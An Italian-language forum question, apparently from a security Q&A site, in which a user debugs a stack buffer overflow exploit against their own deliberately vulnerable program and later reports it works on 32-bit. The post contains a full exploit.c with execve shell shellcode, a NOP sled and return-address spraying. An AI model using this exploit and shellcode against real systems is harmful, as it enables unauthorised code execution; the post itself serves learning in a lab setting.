Indirizzo di ritorno dell'overflow dello stack

2

Sto tentando di sfruttare una vulnerabilità di buffer overflow standard in un programma che utilizza strcpy() per riempire un buffer di 200 char , senza controllare i limiti e compilato con -z execstack e -fno-stack-protector . Ho anche disabilitare il kernel randomize_va_space.

La prima cosa che faccio è aprire gdb, cerco la lunghezza corretta per sovrascrivere l'addr di ritorno, è 222 quindi ho scritto un programma exploit.c come mostrato:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

#define BUFF_SIZE 222

unsigned long get_sp(void){
    __asm__("mov %rsp, %rax");
}

int main(int argc, char *argv[]){
    if (argc != 2){
        printf("give one argument\n");
        exit(0);
    }
    long *addr_ptr, ret, esp;
    int offset, i;
    char *ptr, buffer[BUFF_SIZE];

    offset = atoi(argv[1]);
    esp = get_sp();
    ret = esp - offset;
    printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
    ptr = buffer;
    addr_ptr = (long*)(buffer);
    //Filling the buffer         
    for(i=0;i<BUFF_SIZE;i+=8){
        *(addr_ptr++) = ret;
    };
    for(i=0;i<BUFF_SIZE/2;i++){
        *(ptr+i) = '\x90';
    };
    for(i=0;i<strlen(shellcode);i++){
        *(ptr+i+16) = shellcode[i];
    };
    buffer[BUFF_SIZE-1] = '\x0';

    execl("./buffer_vuln", "buffer_vuln", buffer, NULL);
};

Questo invia l'exploit al mio programma "buffer_vuln"; Riempio il buffer con ret (che è modificato da un offset), e una slitta NOP che porta allo shellcode. Non ho ottenuto alcun risultato provandolo anche su un intervallo di offset lungo (-250, 3000). Il programma mirato stampa l'indirizzo e il contenuto del suo array, tutto sembra giusto ma non riesco a vedere gli indirizzi di ritorno stampati dopo i NOP, mi chiedo dove questo non riesca ad aprire una shell.

-Edit -

Sono passato a 32 bit, quindi l'indirizzo dello stack non contiene zero. Ho anche compilato lo shellcode e mi sono assicurato che funzionasse da solo. Exploit funziona! Andando a provare per amd64 ora, grazie!

    
posta Yvain 27.12.2016 - 10:09
fonte

0 risposte

Leggi altre domande sui tag